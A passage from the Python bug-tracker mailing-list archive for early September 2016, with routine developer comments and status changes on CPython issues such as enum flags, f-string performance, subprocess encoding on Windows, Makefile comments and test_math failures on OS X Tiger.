No, I think it is.  The differences between Enum and IntEnum are entirely because IntEnum members are also ints, so they can do anything an int can do (but they lose their IntEnum-ness when non-Enum operations are performed on them).  Similarly, the differences between Flag and IntFlag are entirely because IntFlag members are also ints, so can do whatever ints can do (and, similarly, will lose their IntFlag-ness when non-Flag operations are performed on them).

> 2) (more important) If I give names to 1, 3, 4, and 6, you're in fact
> saying that MyFlags(7) == MyFlags(5) (since 2 is never set)?

(I think you messed up your example, as 4 | 1 == 5 and 6 | 1 == 7 -- 2 is never a factor.)

Absolutely not.  5 != 7, so the two will never be equal no matter which of Flag | IntFlag you are using.

Moreover, if MyFlags is a Flag then MyFlags(impossible_combination) will raise an exception.  If MyFlags is an IntFlag then MyFlags(impossible_combination) will have the value of <impossible_combination> and the repr will show all the non-specified bits as base-2 numbers and the specified bits as names.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sat Sep  3 14:08:17 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 03 Sep 2016 18:08:17 +0000
Subject: [issue27950] Superflous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472926097.94.0.736985184896.issue27950@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44355/issue27950.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sat Sep  3 14:12:28 2016
From: report at bugs.python.org (=?utf-8?q?Ond=C5=99ej_Medek?=)
Date: Sat, 03 Sep 2016 18:12:28 +0000
Subject: [issue27935] logging level FATAL missing in _nameToLevel
In-Reply-To: <1472797942.24.0.349970976143.issue27935@psf.upfronthosting.co.za>
Message-ID: <1472926348.51.0.264115803234.issue27935@psf.upfronthosting.co.za>


Ond?ej Medek added the comment:

Just a comment to the https://hg.python.org/cpython/rev/85f9f8bf2ec8

It's functionality is right. It's just a little bit weird, that two derived levels in _nameToLevel: 'FATAL' maps to FATAL, i.e. itself, while 'WARN' maps to the WARNING, i.e. to the main level from which is derived.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27935>
_______________________________________

From report at bugs.python.org  Sat Sep  3 14:20:47 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 03 Sep 2016 18:20:47 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <1472926847.22.0.423160400381.issue27731@psf.upfronthosting.co.za>


Brett Cannon added the comment:

SGTM

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Sat Sep  3 14:30:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 03 Sep 2016 18:30:36 +0000
Subject: [issue26040] Improve coverage and rigour of test.test_math
In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za>
Message-ID: <20160903183033.8619.94159.9E8DA5F7@psf.io>


Roundup Robot added the comment:

New changeset e3dbe8b7279a by Mark Dickinson in branch 'default':
Issue #26040: Improve test_math and test_cmath coverage and rigour. Thanks Jeff Allen.
https://hg.python.org/cpython/rev/e3dbe8b7279a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26040>
_______________________________________

From report at bugs.python.org  Sat Sep  3 14:32:39 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 03 Sep 2016 18:32:39 +0000
Subject: [issue26040] Improve coverage and rigour of test.test_math
In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za>
Message-ID: <1472927559.19.0.561016215629.issue26040@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

iss26040_v4.patch applied. I'm watching the buildbots; if everything looks good there, I'll close the issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26040>
_______________________________________

From report at bugs.python.org  Sat Sep  3 15:48:13 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 19:48:13 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1472932093.93.0.507862721754.issue27078@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Left a review comment. I'd like to see this in before 3.6 beta 1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Sat Sep  3 15:49:09 2016
From: report at bugs.python.org (=?utf-8?b?RMSBdmlz?=)
Date: Sat, 03 Sep 2016 19:49:09 +0000
Subject: [issue27179] subprocess uses wrong encoding on Windows
In-Reply-To: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za>
Message-ID: <1472932149.16.0.543314522742.issue27179@psf.upfronthosting.co.za>


D?vis added the comment:

ping? Could someone review my patch?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27179>
_______________________________________

From report at bugs.python.org  Sat Sep  3 16:24:00 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 03 Sep 2016 20:24:00 +0000
Subject: [issue26040] Improve coverage and rigour of test.test_math
In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za>
Message-ID: <1472934240.32.0.708883527372.issue26040@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Buildbots seem happy (or at least, no more unhappy than before). Closing.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26040>
_______________________________________

From report at bugs.python.org  Sat Sep  3 16:25:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 03 Sep 2016 20:25:34 +0000
Subject: [issue27179] subprocess uses wrong encoding on Windows
In-Reply-To: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za>
Message-ID: <1472934334.83.0.14466327755.issue27179@psf.upfronthosting.co.za>


STINNER Victor added the comment:

You should take a look at the recent PEP 529 "Change Windows filesystem encoding to UTF-8":
https://www.python.org/dev/peps/pep-0529/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27179>
_______________________________________

From report at bugs.python.org  Sat Sep  3 16:40:37 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sat, 03 Sep 2016 20:40:37 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1472935237.8.0.624177369821.issue27078@psf.upfronthosting.co.za>


Antti Haapala added the comment:

I tried to post a comment on rietveld, but 500 infernal error...

PyUnicode_New(0, 0) will return unicode_empty. If unicode_empty is NULL, then it will also initialize it. It would be cleanest if unicode_empty was statically created.

NULL cannot be used as the separator argument to `PyUnicode_Join(PyObject *separator, PyObject *seq)` to mean an empty string, as it already means ' ' (space!).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Sat Sep  3 16:58:25 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 03 Sep 2016 20:58:25 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1472936305.36.0.0172713346655.issue27078@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Of course. Never mind. LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Sat Sep  3 17:21:57 2016
From: report at bugs.python.org (=?utf-8?b?RMSBdmlz?=)
Date: Sat, 03 Sep 2016 21:21:57 +0000
Subject: [issue27179] subprocess uses wrong encoding on Windows
In-Reply-To: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za>
Message-ID: <1472937717.21.0.508045513808.issue27179@psf.upfronthosting.co.za>


D?vis added the comment:

That is a great PIP, but it will take a lot of time to be implemented and it doesn't really solve this issue.

This is different issue than filename/path encoding. Here we need to decode binary output from other applications and that for a lot of applications will be console's code page but it could be also any other. This isn't issue about Unicode paths because application which is located at ASCII path, when we run it as a subprocess can return text output in console's code page, OEM, ANSI or some other encoding.

My proposed subprocess_fix_encoding_v4fixed.patch fixes this for majority of cases and for other cases encoding can be specified.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27179>
_______________________________________

From report at bugs.python.org  Sat Sep  3 18:49:22 2016
From: report at bugs.python.org (Martin Panter)
Date: Sat, 03 Sep 2016 22:49:22 +0000
Subject: [issue27921] f-strings: do not allow backslashes
In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za>
Message-ID: <1472942962.92.0.643944469745.issue27921@psf.upfronthosting.co.za>


Martin Panter added the comment:

I haven?t looked, but my guess at why test_unparse could fail would be trying to generate code for an f-string with control characters in. Maybe it is taking stuff like

f'''{x}
{y}
'''

and generating

f'{x}\n{y}\n'

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27921>
_______________________________________

From report at bugs.python.org  Sat Sep  3 21:30:53 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 01:30:53 +0000
Subject: [issue27950] Superflous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472952653.19.0.00779605116251.issue27950@psf.upfronthosting.co.za>


Martin Panter added the comment:

I never noticed this because unless I am debugging a build problem I use ?make -s?, which hides all the commands lines, and lets you see compiler warnings etc much easier.

Very briefly testing with Gnu Make and BSD Make, your patch doesn?t seem to do anything too disastrous. BTW BSD Make seems to treat the existing python-config target comments as Make comments without any output, while Gnu Make treats them as shell comments and outputs them.

However it seems that other Make implementations might take your comments in the middle of a list of commands as a sign to end the list of commands. See <http://pubs.opengroup.org/onlinepubs/9699919799/utilities/make.html>:

?An empty or blank line, or a line beginning with '#', may begin a new entry.?

Maybe it would be best to move these comments to before the target rules, with clarification, e.g. ?Substitution happens [in the first sed command] . . . [The second sed command] replaces . . .?

----------
nosy: +martin.panter
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sat Sep  3 22:00:54 2016
From: report at bugs.python.org (Steve Dower)
Date: Sun, 04 Sep 2016 02:00:54 +0000
Subject: [issue27179] subprocess uses wrong encoding on Windows
In-Reply-To: <1464828766.51.0.809606583575.issue27179@psf.upfronthosting.co.za>
Message-ID: <1472954454.84.0.358982863049.issue27179@psf.upfronthosting.co.za>


Steve Dower added the comment:

I'll take a look during the week. I like parts of the patch but not all of it, but while we're inevitably discussing my PEPs it's sure to come up.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27179>
_______________________________________

From report at bugs.python.org  Sat Sep  3 23:29:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 03:29:06 +0000
Subject: [issue27364] Deprecate invalid unicode escape sequences
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1472959746.62.0.149155146883.issue27364@psf.upfronthosting.co.za>


Martin Panter added the comment:

Left some comments for invalid_stdlib_escapes_2.patch

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Sat Sep  3 23:46:39 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 03:46:39 +0000
Subject: [issue27918] Running test suites without gui but still having windows
 flash
In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za>
Message-ID: <1472960799.41.0.703894443749.issue27918@psf.upfronthosting.co.za>


Martin Panter added the comment:

Xiang?s second patch looks okay to me. The flashes occasionally annoy me with X windows if I am doing something else and have the Python tests running in the background.

I understand deferring the _is_gui_available() call will fix the main problem, and the withdraw() call is just an added nicety to avoid unnecessary windows when you actually enable -ugui.

----------
nosy: +martin.panter
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27918>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:00:54 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 04:00:54 +0000
Subject: [issue27927] argparse: default propagation of formatter_class from
 ArgumentParser() to SubParsers
In-Reply-To: <1472724419.75.0.20824788392.issue27927@psf.upfronthosting.co.za>
Message-ID: <1472961654.08.0.233854851546.issue27927@psf.upfronthosting.co.za>


paul j3 added the comment:

http://bugs.python.org/issue21633

also deals with the formatter of subparsers.  I note there that few of parameters of the main parser propagate to the subparsers.  

The current design gives the programmer maximum control, at the expense of a bit of typing.  If I had to create a large number of subparsers, I might write a utility function to take care of the repetitious tasks.

----------
nosy: +paul.j3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27927>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:11:54 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 04:11:54 +0000
Subject: [issue26439] ctypes.util.find_library fails when ldconfig/glibc not
 available (e.g., AIX)
In-Reply-To: <1456413023.18.0.874865601403.issue26439@psf.upfronthosting.co.za>
Message-ID: <1472962314.86.0.0797350826334.issue26439@psf.upfronthosting.co.za>


Martin Panter added the comment:

Regarding the regular expressions, I (or someone else unfamiliar with AIX) may be able to adjust them if you can explain what you are trying to achieve. Take the first one I commented on <https://bugs.python.org/review/26439/diff/17689/Lib/ctypes/_aixutil.py#newcode132> for example. You added a comment:

# '\[%s_*64\.so\]' % name, -> has either _64 or 64 added to name

As written, this will match many strings including

[<NAME>___64.so]

However the annotation leads me to belive you want it to match two cases only:

[<NAME>64.so]
[<NAME>_64.so]

I do not know whether to fix the annotation (has 64 preceded by any number of underscores), or whether to fix the regular expression (_?64).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26439>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:17:30 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 04:17:30 +0000
Subject: [issue16764] Make zlib accept keyword-arguments
In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za>
Message-ID: <1472962650.92.0.23897541594.issue16764@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16764>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:24:40 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 04:24:40 +0000
Subject: [issue9351] argparse set_defaults on subcommands should override top
 level set_defaults
In-Reply-To: <1279894012.43.0.0678646409.issue9351@psf.upfronthosting.co.za>
Message-ID: <1472963080.81.0.24828531864.issue9351@psf.upfronthosting.co.za>


paul j3 added the comment:

Another example where the old way would have worked better

http://bugs.python.org/issue27859

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9351>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:47:59 2016
From: report at bugs.python.org (Seif Elsallamy)
Date: Sun, 04 Sep 2016 04:47:59 +0000
Subject: [issue27951] the reply's additional "Re:" is ok
Message-ID: <1472964479.79.0.387806961261.issue27951@psf.upfronthosting.co.za>


Changes by Seif Elsallamy <saifmega at yahoo.com>:


----------
nosy: saifmega
priority: normal
severity: normal
status: open
title: the reply's additional "Re:" is ok

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27951>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:54:41 2016
From: report at bugs.python.org (paul j3)
Date: Sun, 04 Sep 2016 04:54:41 +0000
Subject: [issue27859] argparse - subparsers does not retain namespace
In-Reply-To: <1472137330.56.0.683571624156.issue27859@psf.upfronthosting.co.za>
Message-ID: <1472964881.32.0.196117229885.issue27859@psf.upfronthosting.co.za>


paul j3 added the comment:

This call used to be

    namespace, arg_strings = parser.parse_known_args(arg_strings, namespace)

But in 2014 (2.7.9) http://bugs.python.org/issue9351 was implemented

As noted in the title and comment in the code, the idea was to give more power to the defaults set in the subparser.

But as noted in the subsequent posts, the patch has raised some backward compatibility issues.

Generally having the action for one argument depend on the value of another argument is tricky, because arguments may be parsed in any order. (but there is a 'test_argparse.py' case that does that kind of testing).  It is safer to test for any interactions after parsing is all done.

Now in the subparser case, there is an order.  Main parser arguments have to come first.

I suggested in 9351 a way of allowing both behaviors - use of new namespace or use of the existing one.  But as you can see there hasn't been any further action in the past 2 years.

----------
nosy: +paul.j3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27859>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:56:15 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 04 Sep 2016 04:56:15 +0000
Subject: [issue27950] Superflous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472964975.68.0.853147547511.issue27950@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> However it seems that other Make implementations might take your comments in the middle of a list of commands as a sign to end the list of commands.

If this is true then it seems we have to move the comments before the rules. Another way that might work is adding @ to silence the comment before the comments. But this is really unfriendly to editor highlight.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 00:59:27 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 04 Sep 2016 04:59:27 +0000
Subject: [issue27950] Superflous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472965167.76.0.833363824667.issue27950@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Ooh, sorry. This "Another way that might work is adding @ to silence the comment before the comments" should also fall in "However it seems that other Make implementations might take your comments in the middle of a list of commands as a sign to end the list of commands". I'll search more and if there is no other methods, write a patch applying your suggestion.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 01:32:00 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 05:32:00 +0000
Subject: [issue27950] Superflous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472967120.54.0.60712828914.issue27950@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think putting @ in front would be safe. Nobody has complained that ?<Tab># . . .? didn?t work. I expect changing them to ?<Tab>@# . . .? would be no worse. I think the Posix page was only talking about comment lines that _don?t_ begin with a tab.

At least in Gnu and BSD Makes, the @# option seems to work as desired.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 01:33:29 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 05:33:29 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472967209.29.0.701997671646.issue27950@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
title: Superflous messages when running make -> Superfluous messages when running make

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:16:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 04 Sep 2016 06:16:33 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
Message-ID: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Tools/scripts/fixcid.py initially used old regex module. In 4727f260f6f8 it was converted to using new re module, but not all generated regular expressions were converted to new syntax. The script is not working since that time.

----------
components: Demos and Tools
messages: 274341
nosy: ezio.melotti, martin.panter, serhiy.storchaka
priority: low
severity: normal
stage: needs patch
status: open
title: Finish converting fixcid.py from regex to re
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:17:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 04 Sep 2016 06:17:18 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1472969838.32.0.0326677908234.issue27950@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

That is not ideal. @# can silence the comment but actually it is still not a comment. The "# ..." part still will be evaluated by shell.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:19:09 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Sun, 04 Sep 2016 06:19:09 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <1472969949.96.0.857062984322.issue23591@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Ok, I believe you that you have the interface for IntFlags right (I always did, and I apologize if I didn't make it clear from the start). All my questions pertain to Flags.

You said what to me seem like two contradictory things:

> Not having 2 named has different consequences for Flag vs IntFlag (although *neither is an error*): Flag: no combination of flags will ever have the 2 bit set

> if MyFlags is a Flag then MyFlags(impossible_combination) *will raise an exception.*

Are you saying that after I write

    class MyFlags(Flags):
        b001 = 1
        b011 = 3
        b100 = 4
        b110 = 6

this is _not_ an error, but if after that I call

    print(MyFlags(7))

it _is_ an error? It doesn't seem so bad now I think about it, but I'd like the error to be reported before ("3 has bit of value 2 set, but that bit is not a member" or something like that).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:50:36 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 06:50:36 +0000
Subject: [issue27800] Regular expressions with multiple repeat codes
In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za>
Message-ID: <1472971836.35.0.960852287829.issue27800@psf.upfronthosting.co.za>


Martin Panter added the comment:

Here is a patch for the documentation.

----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44356/multiple-repeat.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27800>
_______________________________________

From report at bugs.python.org  Sun Sep  4 02:58:22 2016
From: report at bugs.python.org (Antti Haapala)
Date: Sun, 04 Sep 2016 06:58:22 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1472972302.39.0.074889112638.issue27078@psf.upfronthosting.co.za>


Antti Haapala added the comment:

Though it is clean to do like this: let _PyUnicode_JoinArray have `NULL` mean empty string, as it is more logical anyway; then PyUnicode_Join itself just needs to:

   if (separator == NULL) {
       separator = PyUnicode_FromOrdinal(' ');
       /* check omitted */
       res = _PyUnicode_JoinArray(separator, items, seqlen);
       Py_DECREF(separator);
   }
   else {
      res = _PyUnicode_JoinArray(separator, items, seqlen);
   }

The NULL argument I guess isn't that common to pass to PyUnicode_Join (Python code especially would always have to pass in ' ' instead), so this shouldn't really affect performance for any case at all.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Sun Sep  4 03:08:11 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 07:08:11 +0000
Subject: [issue26040] Improve coverage and rigour of test.test_math
In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za>
Message-ID: <1472972891.1.0.368648825449.issue26040@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> or at least, no more unhappy than before

Not quite true: test_math and test_cmath are failing for the x86 Tiger 3.x buildbot:

======================================================================
FAIL: test_testfile (test.test_math.MathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_math.py", line 1190, in test_testfile
    '\n  '.join(failures))
AssertionError: Failures in test_testfile:
  tan0064: tan(1.5707963267948961): expected 1978937966095219.0, got 1978945885716843.0 (error = 7.92e+09 (31678486496 ulps); permitted error = 0 or 5 ulps)


======================================================================
FAIL: test_specific_values (test.test_cmath.CMathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 398, in test_specific_values
    msg=error_message)
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 147, in rAssertAlmostEqual
    '{!r} and {!r} are not sufficiently close'.format(a, b))
AssertionError: tan0064: tan(complex(1.5707963267948961, 0.0))
Expected: complex(1978937966095219.0, 0.0)
Received: complex(1978945885716843.0, 0.0)
Received value insufficiently close to expected value.


It's probably not worth trying to fix this for such an ancient version of OS X. Re-opening; I'll aim to skip the test on the platform.

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26040>
_______________________________________

From report at bugs.python.org  Sun Sep  4 03:20:17 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 04 Sep 2016 07:20:17 +0000
Subject: [issue27800] Regular expressions with multiple repeat codes
In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za>
Message-ID: <1472973617.8.0.715256861104.issue27800@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM. Thanks Martin.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27800>
_______________________________________

From report at bugs.python.org  Sun Sep  4 03:26:19 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 04 Sep 2016 07:26:19 +0000
Subject: [issue27450] bz2: BZ2File should expose compression level as an
 attribute
In-Reply-To: <1467662493.73.0.0646490356421.issue27450@psf.upfronthosting.co.za>
Message-ID: <1472973979.55.0.559537206678.issue27450@psf.upfronthosting.co.za>


Martin Panter added the comment:

I guess the compression level you want is the same as the 100?900 kB block size recorded as the third byte in the header.

But I don?t see this as a particularly useful feature either. Why do you want to know the compression level?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27450>
_______________________________________

From report at bugs.python.org  Sun Sep  4 04:33:02 2016
From: report at bugs.python.org (Josh Triplett)
Date: Sun, 04 Sep 2016 08:33:02 +0000
Subject: [issue27450] bz2: BZ2File should expose compression level as an
 attribute
In-Reply-To: <1467662493.73.0.0646490356421.issue27450@psf.upfronthosting.co.za>
Message-ID: <1472977982.25.0.767937305061.issue27450@psf.upfronthosting.co.za>


Josh Triplett added the comment:

As part of a reproducible build project, to allow recompressing a file with the same compression level previously used.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27450>
_______________________________________

From report at bugs.python.org  Sun Sep  4 04:35:39 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 08:35:39 +0000
Subject: [issue27953] tan has poor accuracy near pi/2 on OS X Tiger
Message-ID: <1472978139.6.0.979363390278.issue27953@psf.upfronthosting.co.za>


New submission from Mark Dickinson:

Opening this for the record; I intend to close as "wont fix".

The tan function has poor accuracy for inputs near pi/2 on OS X 10.4. This is a direct consequence of a poor libm implementation, so there's little we can do about it short of re-implenting tan ourselves. 10.4 is ancient enough by now that it's difficult to care too much.

Example failures:

======================================================================
FAIL: test_testfile (test.test_math.MathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_math.py", line 1190, in test_testfile
    '\n  '.join(failures))
AssertionError: Failures in test_testfile:
  tan0064: tan(1.5707963267948961): expected 1978937966095219.0, got 1978945885716843.0 (error = 7.92e+09 (31678486496 ulps); permitted error = 0 or 5 ulps)


and a corresponding failure in cmath:

======================================================================
FAIL: test_specific_values (test.test_cmath.CMathTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 398, in test_specific_values
    msg=error_message)
  File "/Users/db3l/buildarea/3.x.bolen-tiger/build/Lib/test/test_cmath.py", line 147, in rAssertAlmostEqual
    '{!r} and {!r} are not sufficiently close'.format(a, b))
AssertionError: tan0064: tan(complex(1.5707963267948961, 0.0))
Expected: complex(1978937966095219.0, 0.0)
Received: complex(1978945885716843.0, 0.0)
Received value insufficiently close to expected value.

----------
assignee: mark.dickinson
components: Extension Modules, Macintosh
messages: 274350
nosy: mark.dickinson, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: tan has poor accuracy near pi/2 on OS X Tiger
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27953>
_______________________________________

From report at bugs.python.org  Sun Sep  4 04:36:23 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 04 Sep 2016 08:36:23 +0000
Subject: [issue26040] Improve coverage and rigour of test.test_math
In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za>
